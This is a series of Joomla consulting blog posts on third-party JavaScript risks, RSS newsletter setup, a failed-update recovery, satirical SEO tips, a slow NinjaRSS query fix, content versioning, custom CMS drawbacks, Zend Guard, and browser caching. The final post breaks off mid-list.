Avoid Including External JavaScript Files on Your Joomla Website

A client called us today and told us that even though his website is loading properly, he’s noticing that the “Transferring Data…” message at the bottom left of Firefox is taking forever to disappear, as if Firefox hasn’t finished loading the page (when, again, the page is fully loaded). We knew immediately what the issue was: this usually happens when Firefox (or any other browser) is trying to load an external file (the external file can be an image, a CSS file, or a JavaSript file) that is located on a slow website.

We did a quick investigation using Google Chrome (here’s how: we loaded the website in Google Chrome, and then right clicked, chose Inspect Element, clicked on Network, clicked on Time, and then refreshed the page – the slow loading file could be found at the bottom of the debug window) and discovered that the file that the Joomla website was trying to load was a JavaScript file responsible for adding the “Read more on… [link to the Joomla page]” when pasting copied content from a page. That script was located on a 3rd party website that was extremely slow.

We then told the client that he should disable the plugin that is responsible for loading the script, but our client told us: “But this functionality will increase my traffic…”

We told him that this is not true, this kind of technique doesn’t increase traffic. While it can have a positive effect on very large and important websites, most people will not leave the line “Read more on…” on their pasted content if the website they have copied from is not well known. Sad, but true!

Additionally, the problem with this tool (or whatever you want to call it) is that it pollutes the web, simply because it adds a hash to the URL. That hash means something only for that tool (the hash is mainly used for tracking how many people shared the link and how many people clicked on the shared link – of course, this information is sent to the 3rd party website and never shared with the site owner himself).

Furthermore, there is a huge issue with this tool, and it is that any external JavaScript file can be used to steal keywords and other important information from the host website. An external JavaScript file can also potentially read what your users are writing on your website, including, but not limited to, their usernames and passwords. Now you might be thinking “This can’t be true”, but think about it this way, why would that 3rd party website allow you to use that tool for free, and why do they host such a simple tool on their website instead of yours? As the old saying goes “There’s no such thing as free lunch”…

Finally, an extension that includes external files can slow down your whole website, and can jeopardize its rankings if the required external files are deemed to contain some sort of malware.

Bottom line, ensure that all the files that you are including on your website are actually located on the same server or one of your servers – never trust files that you cannot change yourself.

If you’re having the same problem on your Joomla website, and if you are not able to find the culprit extension, then why not contact us? We’ll find it for you in no time and we won’t charge you much!

The JED (Joomla Extensions Directory) Need to Be Better Managed

At itoctopus, we love to share our knowledge about Joomla. We think that by doing so, we are helping Joomla become an even better CMS. We also like to share our knowledge because we believe in knowledge sharing as a concept that evolves our civilization in general (think about what would have happened if Thomas Edison and Nikola Tesla kept their knowledge to themselves). Now, before getting too philosophical, let us explain what this is all about…

Back in May, we submitted a simple extension, this one, to the JED. Today is November 19th and the extension still wasn’t approved or disapproved. This can only mean one thing: the people managing the JED are understaffed, perhaps reduced to just one person who may or may not be fully dedicated to this job.

Now, we know that Joomla is open source, and most likely it doesn’t get enough money to afford full time staff, but if Joomla’s core is the heart of Joomla, then the JED is the limbs. One can do very little without his limbs, and the same concept applies to Joomla. A Joomla website is a barely functional website without 3rd party extensions (imagine Joomla without JCE Editor, K2, RS Form, VirtueMart, etc…) . This means that by ignoring the JED, Joomla can slowly, but surely, become a less attractive CMS, especially for potential users, which in turn has disastrous effects on Joomla and the companies supporting it.

Of course, we don’t want to reach a point where Joomla becomes obsolete because the JED is being neglected. That’s why we are proposing 2 solutions:

  1. Have a Wikipedia-like donation season, where everyone visiting the website will be asked if he could donate a small amount to support Joomla. A visible donation thermometer will encourage many people to donate to support the project. Joomla might not need millions; just a couple of hundred thousand dollars would probably be more than enough to help the project and hire a couple of people to manage the JED.
  2. If the above is not an option, then allow any member to submit an extension (for a very small fee – something like $5) and approve it automatically. Let the community decide whether the extension is bad or good. While this concept seems a bit frightening, one has to admit that it’s working rather well for Google on the Google Play market (on Android devices).

We think that the first option is infinitely better than the second one, but the second option is still better than what we have right now. Either option can help Joomla from falling into the abyss of outdated CMS’s.

Now, if you want to discuss with us your thoughts on the JED and how to make Joomla a better CMS, then feel free to contact us. We always pick up the phone and we always listen!

How to Create an RSS Newsletter Subscription Functionality on Your Joomla Website

Joomla websites are typically not used as blogs. However, it is very common for a Joomla website to have a blog. That blog is usually a Joomla category blog (some websites use the WordPress extension, but we don’t recommend it, since you’ll be maintaining 2 websites instead of one). Of course, once a Joomla website has a blog, the next question will be, “how to tell people about new posts on that blog?”

The answer is simple, and it’s called RSS Newsletter Subscription, and this is exactly what one of our clients asked us to do this morning. Here’s a step-by-step description of what we did:

  • We downloaded NinjaRSS Syndicator. We then installed it and optimized it. (NinjaRSS Syndicator, for those who don’t know, is a Joomla extension that generates an RSS feed from one or more Joomla categories.)
  • We then created a feed in NinjaRSS Syndicator the following way:

    • While logged in to the backend of the Joomla website, we clicked on Components -> NinjaRSS Syndicator -> Feeds.
    • We clicked on New on the top right.

    • In the form, we entered the name of the feed, and then we typed in “20” (without the quotes) next to Number of messages to show in feed, and then we chose “Created Date Descending” next to Order By, and then we typed in “3600” (again, without the quotes) next to Number of seconds to cache (caching RSS feeds is important because generating them can be a bit heavy on your server, especially if your Joomla website is not well optimized), and then next to Include or Exclude Categories we selected Include Selected Categories, and finally in the list box below (next to Selected Categories) we just chose the category called “Blog” (of course, your category can be named something different, but you get the idea).

    • We hit on Save & Close on the top right.

  • Once we clicked on Save & close, we saw our feed on NinjaRSS Syndicator’s Feeds page. Under Feed url, we copied the link to the feed and saved it in a file so that we can use it later. The link to that feed was: http://www.ouclientjoomlawebsite.com/index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw.

  • Now, we needed to use a third party service that will allow people to subscribe to our client’s RSS feed and send them a daily newsletter. An excellent service that does exactly that is Feedburner, which is a Google product. So, we visited http://www.feedburner.com and logged in with our client’s Google credentials.

  • Under Burn a feed…, we entered the URL of our feed, which was http://www.ouclientjoomlawebsite.com/index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw, we then clicked on Next.

  • We then followed the instructions by filling in the required fields, and then once we reached the Control Panel of the feed, we clicked on Publicize on the top navigation, and then we clicked on Email Subscriptions to the right. We then clicked on Activate and then we copied the Subscription Form Code (the first textarea), and finally we clicked on the Save button below.

  • At this point, we only needed to add the Subscription Form to the Joomla website. So, we created a new Custom HTML module, we called it Subscribe, and then pasted the Subscription Form Code (copied from the step above) to the Custom Output of that module (please ensure that your editor will not strip away your HTML/JS code before you do that – otherwise, you will not see the form on your website).

  • We assigned the module to the Blog menu item (the position of that module was “right”, but you might want it somewhere else in your case), and then we clicked on Save on the top right, and Presto! Our client’s blog suddenly had a beautiful RSS subscription form!

  • We tried it and it was perfectly working! The job was done!

We really hope that this guide helped you in creating your RSS newsletter subscription functionality on your Joomla website. If it didn’t, or if you found it to be a bit intimidating, then fear not, we’re always here to help. Just contact us and we’ll create an RSS Newsletter subscription on your Joomla website in no time and for a very, very affordable fee!

A few important notes:

  • FeedBurner is a Google complimentary service, and we don’t know whether Google will keep FeedBurner active forever. It seems that Google no longer believes in RSS, and it might be only a matter of time before Google ditches FeedBurner. There are several alternatives to FeedBurner, but they are mostly commercial and not that intuitive to setup.
  • FeedBurner sends newsletters daily. There is no way to set it to send weekly or monthly newsletters. FeedBurner will not send any newsletter if you don’t have any new content.

  • You can set, in Feedburner’s settings, which time you want your newsletters to be sent out, and FeedBurner will attempt to deliver your newsletters at that time. There are no guarantees though that FeedBurner will deliver the newsletters during your preferred timeframe.

Whatever You Do, Do Not Hit That “Update Now” Button Without First Backing Up Your Joomla Website

Yes, it’s a very long title, but we couldn’t think of one that is more descriptive. Obviously, there’s a story to this, so relax, and let us tell you a bedtime story (it’s 11:31 PM here in Montreal).

A client called us around 9 PM (about 2 hours ago), and told us that all of a sudden, his Joomla website stopped working. It was displaying the following error:

Fatal error: Call to a member function get() on a non-object in plugins/system/remember/remember.php on line 94

So we asked him what he was doing when this problem happened. He told us that he clicked on the Update Now button on his Joomla 3.1.5 website. In other words, updating Joomla to the latest version simply crashed his website.

So, we started fixing his website, which was more or less like a cat and mouse game. Here’s what happened:

  • We downloaded a fresh copy of Joomla 3.2.
  • We extracted the file remember.php which is located under the plugins/system folder and we uploaded it to the corresponding place on the Joomla website.

  • We checked the website and we had the exact same problem on the file joomla.php which is located under the plugins/user/joomla folder.

  • Again, we extracted the file joomla.php which is located under the plugins/user/joomla folder and we uploaded it to the corresponding place on the Joomla website.

  • We checked the website and at that time, it displayed a MySQL query which was not working. In other words, the database was officially corrupt and needed to be fixed.

  • We thought hey, maybe we can fix the database (Joomla has this wonderful “Fix Database” tool), so we logged in to Joomla’s backend, and we clicked on Extensions -> Extensions Manager -> Database, and to our horror, we saw another MySQL query error, claiming that the table #__content_types did not exist. The Fix button which should’ve been on the upper left corner was nowhere to be found. So, we had to address that missing table issue before moving forward.

  • So, we checked the file joomla.sql which is located under the installation/sql/mysql folder in Joomla’s 3.2 install file, and we were able to figure out the structure of the #__content_types in order to re-create it. So, we logged in to phpMyAdmin (from cPanel) and we ran the queries starting from line 392 (CREATE TABLE IF NOT EXISTS `#__content_types`…) until line 426 (in the joomla.php file). This re-created the #__content_types table and filled it with the right data.

  • After doing the above, we were able to see the Fix button, and so we clicked it, and that fixed the database. The website worked normally after that.

Now, the big question is, why did we have to all the above? Our client just had a very basic Joomla 3.1.5 website with no 3rd part extensions whatsoever and he just wanted to update to the latest Joomla version. There was nothing wrong with what he did, but there was definitely something wrong with Joomla. The sad part is that this whole thing cost him money he shouldn’t have paid in the first place, and the loss of potential clients for a few hours. Not good!

While we have warned against Joomla 3.x a year ago, we thought that maybe, just maybe, Joomla 3.x got better after a full year. Obviously, it didn’t, in fact, it got worse and it got more dangerous. We should probably wait for a few more months to see where Joomla 3.x will be before recommending it (or not) to our clients.

Meanwhile, do not hit that Update Now button in your Joomla’s backend unless you have your website and your database both backed up. But, if you already clicked that button and caused your Joomla website to stop working (and you don’t have a backup), then fear not, we’re here to help. Just contact us and we’ll restore your website back to working condition in no time and for a very affordable fee.

20 Tips to Lose Traffic on Your Joomla Website

Yes – we know – the title of this post is a bit weird. 20 tips to lose traffic? Well, we figured, if we explain what happens when things are done the wrong way then we’ll create a sense of awareness that’ll help many Joomla administrators to do things the right way, which is a step towards making Joomla websites even better!

Below you can find a list of actions and inactions that you can take to decrease traffic on your Joomla website:

  • Tip #1: Do not update your Joomla website: Updating your Joomla website typically addresses performance and security issues. If you don’t update it then your website will most likely get hacked, eventually making you lose your spot in Google’s rankings. Isn’t that great?
  • Tip #2: Ensure your website is slow, very slow: A slow website is ideal for those who don’t want Google to visit them often. Think about Google as a customer in a restaurant, the longer that customer has to wait, the more likely he’ll go somewhere else, and that’s what Google does: the slower your website is, the less visits you get from Google, which means the less Google knows about your website, which means the less your search engine rankings will be.

  • Tip #3: Have a lot of scheduled maintenances: Ah, those scheduled maintenances. They are all about temporarily serving a blank page to Google. Google might think that a blank page (or error page) is just a glitch the first time it sees it, but if those blank pages are more of a norm rather than the exception, then Google will start diverting your traffic to a competitor, because simply, Google will think (and rightly so) that your website doesn’t provide any value to the visitors.

  • Tip #4: Not paying attention to the competition: Your competing websites are growing by the day and are working very hard to beat you. They are using all the tools and the techniques they can get their hands on to steal your keywords. Pretending that they don’t exist and doing nothing about them is a great way to lose traffic to them.

  • Tip #5: Leave your website hacked: If your website gets hacked, then leave it as it is. It might just fix itself in a few days, and if it doesn’t, then it might get either penalized by Google or even completely wiped out from the index. This means zero traffic from Google. Isn’t that exactly what you want?

  • Tip #6: Don’t care about having a logical site structure: Let’s see. You have a new menu item to add, and that menu item is a new product. But why add it under the Products menu item (where it should be), just add it anywhere and search engines will sort that thing out for you (and for your customers), and if they don’t, then the merrier, because you will lose traffic since a confusing/meaningless site structure is the best search engine deterrent.

  • Tip #7: Just delete the robots.txt file: The robots.txt is an extremely important file for search engines. It tells them which areas of your website to index and which areas to ignore. Deleting this file is like telling them to index everything on your website, which will dilute the page rank of the pages that really need to be indexed. Another great way of losing traffic.

  • Tip #8: Create some infinite loops with sh404SEF: sh404SEF can be (mis)used to create infinite loops on your Joomla website. Do that, and we’ll guarantee you that you’ll start losing traffic on your Joomla website the moment you do it. Not only with this method you will lose visitors and traffic, but you will also create a huge load on your server (which will lead to performance issues on your website), thus losing even more traffic. (See Tip #2).

  • Tip #9: Stop creating new content: The traffic catalyst to any website is content, without content, your website won’t get any traffic. Now, if your website already has a decent traffic which is starting to annoy you, then you can just stop writing new content. This will make Google, Yahoo, and the likes to think that your website is abandoned, and as such, they will gradually reduce the traffic sent your way.

  • Tip #10: Don’t have a blog: As a corollary to Tip #9, having a blog will increase your search engine rankings, which means that you shouldn’t have one if you want to lose traffic. If you already have one, then you should think about getting rid of it or even redirecting it to a competitor’s blog.

  • Tip #11: Have a broken .htaccess file: A broken/wrong .htaccess file can:

    • Generate a lot of errors on your Joomla website
    • Cause indexing issues
    • Completely disable your website

    All the above things can reflect very badly on your search engine rankings because search engines generally don’t like visiting websites with errors.

  • Tip #12: Disable SEF: Whoever said that search engines don’t like links such as index.php?option=com_content&id=5&Itemid=10 was right. Search engines think that these links are complicated and that they don’t tell users what they are about by just looking at them. Disabling SEF on your website (and all other 3rd party URL rewriting extensions, such as sh404SEF) ensures that your links will have the exact same format which is disliked by search engines.

  • Tip #13: Have the same meta information for all the pages: Search engines don’t respect websites with no meta information or where all pages have the exact same meta information. So, if you have set meta information for some your pages, then remove it, because search engines will rank you higher if you don’t.

  • Tip #14: Use dofollow for all of the links that are external to your website: Search engines are perfectly OK if you choose to pass some link juice to other external websites, but, keep in mind that any external link on any page on your website will reduce the importance of that page from a search engine perspective. If, for some reason, the importance of that page is not reduced, then it might be that you are using rel=”nofollow” on the anchor tag to block the link juice from being passed to 3rd party websites. Address this immediately by removing all the rel=”nofollow” so that search engines will think that the websites you are linking to are more important than yours. Also, don’t forget to ensure that all the links to social websites are not rel=”nofollow”, since these social websites such as Twitter and the likes need all the link juice that they can get – they are also generous enough to use rel=”nofollow” on their end (social websites don’t pass any link juice to any external website because all their external links are rel=”nofollow”).

  • Tip #15: Leverage your website’s SEO strength to make money: Sell blog posts, sell links, sell text ads, etc… Just sell anything on your website that other people tell you to sell, and you are sure to get either penalized or de-indexed (e.g. blocked) by Google in no time. The even better news is that you’ll get paid a few dollars (or a few hundred dollars, depending on your website) for the ads that will get you penalized.

  • Tip #16: Don’t even look at Google’s webmaster tools: Google’s webmaster tools provides a lot of insight on what is wrong on your website such as:

    • 404 errors you have on your website and where they are
    • Duplicate titles and duplicate meta descriptions
    • Server issues you have on your website
    • DNS issues

    Ignoring Google’s webmaster tools altogether ensures that you don’t know about any issue that you have on your website (that Google knows about), which means that you don’t have to fix it. This is a silver bullet for losing traffic.

  • Tip #17: Install a gazillion 3rd party JavaScript embed codes: Most, if not all, JavaScript embed codes (especially the free ones) are really there to spy on your website and steal your keywords, while giving you in return very limited functionality. The information they get from your website is usually passed along to your competitors, who will most likely use it to crush you. 3rd party JavaScript embed codes can also slow down your website considerably (this happens a lot). See Tip #2 and Tip #4.

  • Tip #18: Page Titles? What Page Titles?: One of the most important factors used to rank your website is the page title. Since you want low rankings, then ensure that your page titles are completely irrelevant to your content. Failing that, try to add as many keywords to your page titles, including, but not limited to: The name of your website (add it to the beginning of the page title for maximum impact), the high ranking keywords you want to rank for, and the name of your brother’s in law second grade physics teacher. That combination will do miracles to your search rankings.

  • Tip #19: Have a messed up, invalid HTML: Search engines love websites with valid HTML, and since you don’t love search engines, then you should ensure that your HTML is not valid and that the W3C tool will generate at least 100 errors when trying to validate your website.

  • Tip #20: Focus only on search engine traffic and ignore social traffic: A few years ago, a website only needed search engine traffic to survive and to thrive. Nowadays, search engine traffic is not enough, social traffic is increasing by the day, and search engines are taking social traffic and social presence as a positive contributing factor to rank your website. Focusing solely on search engine traffic and being completely oblivious to social traffic will mean that your general traffic will ensure a consistent decline for the foreseeable future.

Since you spent all this time reading our 20 tips to lose traffic, here’s a couple of bonus tips for you:

  • Tip #21: Do not interlink: You are writing a new blog post (which is a big no-no, see Tip #10), and you remember that buried blog post that you wrote a few years ago and that will explain a bit more about the side-topic that you’re discussing. Keep that post buried! Do not link to it, linking to it will revive it and may accidentally increase your traffic. Interlinking to other pages on your website should be avoided at all costs if you want to keep that traffic to a minimum.
  • Tip #22: Hire SEO companies that guarantee top results in Google: Google warns against these companies, and that’s why you should use them. They have these wow techniques that will increase your website’s traffic by about 4 folds for a few days, but then Google discovers their tricks techniques, and your website will get penalized or banned for eternity.

We hope you enjoyed this post. It took us nearly 4 hours to write it, edit it, review it, and re-review it, but it was really fun! Now, if you’re committing any of the above tips mistakes, and you need help fixing it, then please contact us. We are experts in Joomla, our work is fast and professional, and we don’t charge much!

NinjaRSS Syndicator Substantially Slows Down Joomla Websites

One of the things that Joomla sites must have (by default), and currently don’t, is RSS syndication. RSS syndication allows your content to be syndicated across the web, which means better exposure, which in turn means more traffic. We have no idea why Joomla doesn’t have this as a built-in functionality, and we’re almost sure that it won’t have this in the foreseeable future, simply because RSS, as a syndication tool, seems to be losing grounds to social networks such as Twitter and Facebook. Even Google doesn’t believe in RSS anymore.

So, in the meanwhile, what do most Joomla websites use as an RSS tool? Well, if there is any mainstream RSS tool for Joomla, it must be NinjaRSS Syndicator. We know, the presence of Ninja in the name doesn’t command respect, but, for some reason, NinjaRSS Syndicator is the most used RSS extension for Joomla, even for very large websites. One would think that that reason (yes, we know there are two thats, but they do make sense!) for that tool to be very common is because of its stability and its performance. If you actually believe this is the case, then let us tell you a little story…

Earlier in the day a customer called us and told us that his company’s Joomla website is crashing – with a lot of those Cannot connect to database MySQL errors. We checked the load on the server and it was extremely high (we’re talking about 70%) and MySQL was generating a load of about 1,200% (yes, that’s 1,200!). We restarted MySQL and Apache and enabled the MySQL Slow Query Log to reveal the bottlenecks on the website. Fifteen minutes later, the website crashed, but this time, we had a conclusive evidence of who the culprit was. It was this query:

SELECT DISTINCT u.id as userid, IFNULL(c.id,a.catid) as catid, a.sectionid as secid, a.id as id, a.*, a.introtext as itext, a.fulltext as mtext, u.name AS author, u.usertype, u.email as authorEmail, a.created_by_alias as authorAlias, a.created AS dsdate, a.modified as updated, c.title as catName, CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(":", a.id, a.alias) ELSE a.id END as slug, CASE WHEN CHAR_LENGTH(c.alias) THEN CONCAT_WS(":", c.id, c.alias) ELSE c.id END as catslug
FROM #__content AS a
LEFT JOIN #__users AS u ON u.id = a.created_by
LEFT JOIN `#__categories` AS c on c.id = a.catid
WHERE a.state='1'
AND a.id IN (SELECT content_id FROM #__content_frontpage)
AND (a.access = 1 OR a.access = 5)
AND (c.access = 1 OR c.access = 5)
AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2013-11-12 10:17:47') AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2013-11-12 10:17:47')
ORDER BY a.created DESC LIMIT 20;

The above query was taking 13 seconds to execute, and was examining 59,543 rows (that’s about 60k rows), and MySQL was attempting to execute it every couple of seconds! And, which file contained this query? Well, it was none other than the ninjarsssyndicator.php file, which was located under the components/com_ninjarsssyndicator/models directory. In other words, it was the famed NinjaRSS Syndicator extension that was causing this load on the server.

So, what did we do to fix the problem?

The query was slow because of the usage of the DISTINCT keyword at the beginning of the query, which will have to ensure that every row returned by MySQL is unique. Technically, the returned rows must be unique without even using the DISTINCT keyword. So, removing the word DISTINCT from line 130 in the ninjarsssyndicator.php file (again, which is located under the components/com_ninjarsssyndicator/models directory) fixed the problem.

And what does that mean?

It means that even those extensions that most Joomla administrators trust and use on a daily basis can be flawed with performance issues (and/or security issues) that can bring down their websites in a matter of minutes. Joomla administrators must be diligent with their choice of extensions and must examine their logs regularly for performance issues.

If you have the same problem on NinjaRSS Syndicator, then we hope you found this post useful. If you didn’t, or if you need help with another non-performing extension, then please contact us. We are extremely knowledgeable about Joomla, our work is professional and fast, and we don’t charge that much!

Finally, Joomla Has Version Control

If we had a dime every time the IT Manager of a company asked us whether Joomla has version control or not, we’d be very, very rich! Like each us would have his own Bugatti Veyron rich. OK, you get the point… But we really do get asked a lot whether this feature exists or not. It is by far the most important feature that large companies want to have in their CMS.

So, what does version control do?

Version control allows the administrator to revert back to a previous version of a content item (typically an article). This means that if something goes wrong with that content item (especially formatting wise), then the administrator will be able to easily revert back to a previous version.

And now Joomla has it?

Yes! Joomla version 3.2 (which was released yesterday [November 6, 2013]) has this feature (Joomla calls it Content Versioning – note that it only applies to Joomla’s own content, and not to other types of content, such as K2 articles). Unfortunately, this feature is not available in Joomla 2.5 (even in its latest version, which is 2.5.15) – our guess is that Joomla 2.5 will never have this feature. So, those who really want version control must upgrade to Joomla 3.2.

So how does version control work in Joomla 3.2?

It’s quite easy. Let’s say you are editing a huge article (that was already saved before) in Joomla 3.2, and then you accidentally removed a <div> layer and then clicked on the Save button on the top. Now, when you check the article, you’ll notice that the whole formatting is wrong. Previously, you had to spend a lot of time just trying to fix it (especially if you don’t have much experience in HTML), or you had to pay someone to fix it for you. Now, all you need to do is to go back to the backend, open the article in edit mode, and then click on the Versions button the top, and then from the Item Version History popup window, you choose which version you want to revert to (you just check the box next to it), and then you click Restore. That’s it, your old article now shows up! Easy, huh?

But what if I don’t want the overhead of version control?

If you feel secure enough with your Joomla skills and believe that this feature is just overhead (technically it is, because every version of a content item is an additional row of that content item’s table in the database) then you can disable it by doing the following:

  • Go to the Article Manager.
  • Click on Options on the top right.

  • Click on the Editing Layout tab.

  • Choose “No” next to Save History.

  • Click on Save on the top left.

Note that if you are upgrading from a previous version of Joomla, this feature will be defaulted to “No” (so if you want version control you will need to enable it by performing the above steps and, in the last step, choose “Yes”). If you’re installing Joomla 3.2 from scratch, then it’ll default to “Yes”.

Will it break some existing extensions?

Unless you are using a really horrible extension that doesn’t even filter published from non-published items, then you won’t have any problem. If, by any chance, you were unfortunate enough to have such a buggy extension, then you can call in some Joomla experts to fix it for you. Alternatively, you can disable version control as described above.

To which type of content does Joomla version control apply to?

Joomla version control applies to the following content:

  • Articles
  • Banners
  • Categories
  • Contacts
  • News Feeds
  • User Notes
  • Weblinks

As stated above, version control currently does not apply to 3rd party extensions, but we expect prominent 3rd party extensions to soon follow suit!

If you have installed/updated to Joomla 3.2 and if you are having problems with one or more of your extensions because of it, then try disabling it. If you still want it anyway, then please contact us. We’ll fix the problem for you in not time and for an extremely reasonable fee!

The Dangers of Switching from Joomla to a Custom CMS

The Marketing Manager of a large company called us today and told us that they were thinking of moving from Joomla to a custom, homemade CMS. He asked us about our opinion and whether we think they should go forward with the move or not. We told him that we highly recommend against this move, for many reasons, namely:

  • Joomla has been evolving and getting (mostly) better for nearly a decade now (even for more than a decade if you add the number of years before it forked out of Mambo) because of the feedback of a huge community. That’s not the same case for a custom CMS. A custom CMS may be infected with bugs and may be completely insecure. It’ll also take ages for that custom CMS to do what Joomla can do, simply because the group using that CMS will be relatively very small.
  • While Joomla is not the easiest CMS on the planet, it is still relatively easy considering the work that it does. On the other hand, an easy to use custom CMS is a far fetched dream. A custom CMS is usually extremely hard to learn and very restrictive, thus negatively affecting productivity and throwing lots of support work on the IT department.

  • Joomla has the JED (the Joomla Extensions Directory) where one can find extensions for virtually anything. You want a calendar? Easy peasy – just search the JED for calendars, download the one that you like most, install it on your website, and that’s it! You’ll have a calendar on your website in literally minutes. Now, if you’re running your own custom CMS, then it’ll be a totally different story. You’ll have to ask your IT department (or your relevant department, or the consulting company that built the CMS, if it wasn’t built internally) that you want feature X. You will then have to wait – sometimes for months – until the project starts. What’s even more disappointing is that, at many times, the end result wouldn’t even resemble what you initially asked for. (By the way, we are assuming that you have the authority to make financial decisions in your company, if not, then your request has to be first approved by your financial department before it is sent to IT or to the consulting company – and that’s a totally different story!)

  • Joomla is extremely stable – especially the 2.5 version. In its basic incarnation, Joomla works like a charm with no problems whatsoever (unless you have a very large website, in that case you’ll need to optimize it). A custom CMS is the complete opposite, stability issues are the norm rather than the exception, and its users are always treated as permanent beta testers.

  • In our experience, companies that use a custom CMS decide to revert to a mainstream CMS (such as Joomla) after a few years (or even months) of frustration. The problem is, migrating back to Joomla is not an automated process (in other words, it’s a lengthy, zero-fun, pure-pain process) – and it might take a lot of time (depending on the complexity of the CMS) to migrate back to Joomla.

  • Usually, a custom CMS is maintained by a 3rd party company or by a few consultants who might decide, on one Monday morning, that they no longer want to support it (this is an extremely common scenario), thus leaving the company stranded. The company will then be stuck with a CMS that no one can maintain (since its code will be encoded and/or barely readable). The company will then be forced either to develop another custom CMS (thus making the same mistake), or to make the right choice by migrating to Joomla (despite the hurdles and the obstacles associated with that migration).

  • Even if the custom CMS has been developed internally, then it may very well happen that the employees involved in developing and maintaining the CMS are no longer part of the company. This means that both the IT department and the marketing department will be subject to the wrath of anyone using the CMS, until the company hires some employees who are experienced enough to to do the job.

  • In 99.99% of the cases, the custom CMS does not have a template engine – which means that the company will be stuck with a hard coded template. So, if and when the executives decide that it’s time to overhaul the corporate identity, it’ll be extremely painful to apply the new corporate identity to the website. With Joomla, it’s just a matter of creating a new template out of the new design and then installing and activating the template.

We can think of many other reasons why a custom CMS (especially a homemade CMS) should be avoided. If you’re not convinced and you need more explanation on the subject, then feel free to contact us and we’ll be more than happy to help. If, by any chance, you are reading this post because you already are the victim of a custom CMS and you want to move to Joomla, then fear not, we can you help there as well: we will migrate your non-Joomla CMS to Joomla, in whatever language it’s written as long as we have access to your database. Oh, and by the way, our fees are super reasonable!

Does Joomla Require Zend Optimizer to Run?

One of our clients who wanted to switch to another hosting provider called us this morning and asked us whether Joomla requires the Zend Optimizer to run. Our immediate answer was “Do you mean Zend Optimizer? Or Zend Guard?”. He thought for a moment and answered that he’s not sure…

We answered that he most likely meant Zend Guard (which is often confused with Zend Optimizer), which is a server tool that allows software companies to sell their PHP based applications without giving away the code. OK – we know – it sounds a bit vague, so let us explain to you how this works…

Let’s say you purchased a 3rd party extension that requires Zend Guard to work. Now, typically, when you install a regular extension (e.g. an extension that doesn’t require any tool to run) in Joomla, the files of that extension will be extracted to their appropriate places (as specified by the XML manifest file), the #__assets and #__extensions tables in the database will be properly updated, and the extension will be ready for use. Any request to use that extension follows the process below:

  • Apache checks the request and notices that the request consists of processing PHP files so it passes the request (and all the information associated with it) to the PHP parser.
  • The PHP parser reads the necessary PHP files (e.g. the core Joomla files and the PHP files associated with your extension) and verifies there are no parse errors with them.

  • The PHP parser interprets the files and ultimately creates an output.

  • PHP passes the output to Apache.

  • Apache sends the output to the browser.

  • The browser displays the output.

Now, the above is what happens for normal extensions; extensions that don’t need any 3rd party tools to run. So, what is the process for, let’s say, the extension that you just purchased (that requires Zend Guard to run)? Well, here it is:

  • The browser sends the request to the web server.
  • Apache checks the request and notices that it is using some PHP files that are encoded with Zend Guard, to which the request is passed. (Note that since the files are encoded, PHP will not be able to read them).

  • Zend Guard decodes the encoded PHP code in the files and passes the request to PHP.

  • PHP is now able to read the decoded files. It checks them for any parse errors and if there are none, it generates the appropriate output and passes it to Apache.

  • Apache pushes the output to the browser and the latter displays the page.

If you think that the latter method creates an overhead on the server, then you’re right. If you have a very large website, then stay clear of these encoded extensions because they throw some considerable (and unnecessary) load on the server when they are decoded by Zend Guard (or any other PHP encoder/decoder, for that matter).

Now – here’s a small FAQ on the subject:

Are there other tools to encode/decode PHP code that a Joomla administrator need to know about?

Yes – in fact the most used PHP encoded/decoder is not Zen Guard, but it’s called ionCube PHP Encoder. Both have more or less the same performance, but the latter is definitely the standard.

Is it hard to find a hosting company that offers Zend Guard?

No – it is actually very easy. Most hosting companies have Zend Guard (for mysterious reasons hosting companies refer to it as Zend Optimizer) and ionCube PHP Encoder installed on their VPS and dedicated server plans.

Does one need to pay monthly/usage fees for Zend Guard and other PHP encoders?

No – usually the fees are included in the hosting price. We haven’t seen a single company charging additional fees for PHP encoders.

Are there privacy issues associated with Zend Guard and other PHP encoders?

No – what happens on your server stays on your server. Zend Guard and ionCube PHP Encoder do not send any information home. So you can use them with no issues. However, this does not guarantee that the encoded application does not send information to its home. The best way to make sure this is not the case is to monitor the traffic on your server for any weird connections once you use that application.

Are there any disadvantages associated with using a PHP encoder such as Zend Guard?

Well, besides the slower performance and the higher load, the main issue that the a PHP encoded application is technically a black box, which means that neither you nor the best programmer in the world is able to know how the code works. Additionally, such applications are nearly impossible to extend.

Is Joomla fully compatible with PHP encoders?

Joomla does not communicate directly with any encoded PHP code. All the PHP code that Joomla deals with is decoded (by the PHP decoder) prior to any interaction, which means compatibility is a non-issue.

So does Joomla require Zend Guard to run or not?

We know, we have not technically answered the question in the title yet (although the answer is obvious). So, let’s do this right now: Joomla, whether it’s version 1.5, 2.5, or 3.x, does not require anything other than a basic LAMP (Linux, Apache, MySQL, and PHP) environment (check Joomla’s ideal environment here) to work properly. In short, a basic instance of Joomla with no 3rd party extensions can run perfectly well without Zend Guard. If the Joomla website has an extension that requires Zend Guard, then the latter becomes a requirement for the whole website, which means that the server hosting the Joomla site must have the Zend Guard installed.

What if I want help with working with a PHP encoder on a Joomla website?

Well, then you’ve come to the right place. Just contact us and we will instantly jump to help (figuratively speaking) – keep in mind that our very affordable fees apply.

How to Completely Disable Browser Caching on a Joomla Website

A major annoyance on a Joomla website (and on any other website, for that matter) is browser caching. Browser caching, in this day and age, is mainly about caching images, JavaScript files, and CSS files on the client’s end. Now, while browser caching significantly decreases the load time of a page on the client’s end and greatly reduces the server’s bandwidth, it creates other problems: What if an image changes? What if the main CSS file changes? What if there was an additional function that was added to a JavaScript library file and that is now used across the board? If browser caching is enabled (which is the default behavior in any browser), then the client will not be able to see any of these changes, and, as such, the page may look differently than what it actually is for that client and/or some (if not all) functionality will not work for him (in case of a change in a JavaScript file).

So, what can be done to avoid this problem?

Well, there are several solutions to this problem and we have listed them all below (one of these solutions will definitely accommodate your needs):

  1. Ask your users to clear their cache to see the latest version

    If your website is an internal/exclusive website with a limited number of visitors, then the easiest way to get your clients to see the latest version of the website is by asking them to clear their cache. By the way, the majority of browsers out there allow you to see the most recent version of a page (e.g. bypass caching) by loading the page and then clicking on CTRL + R or CTRL + SHIFT + R. This method is very useful if your changes are infrequent and your website is more or less an intranet.

  2. Ask your users to completely disable caching

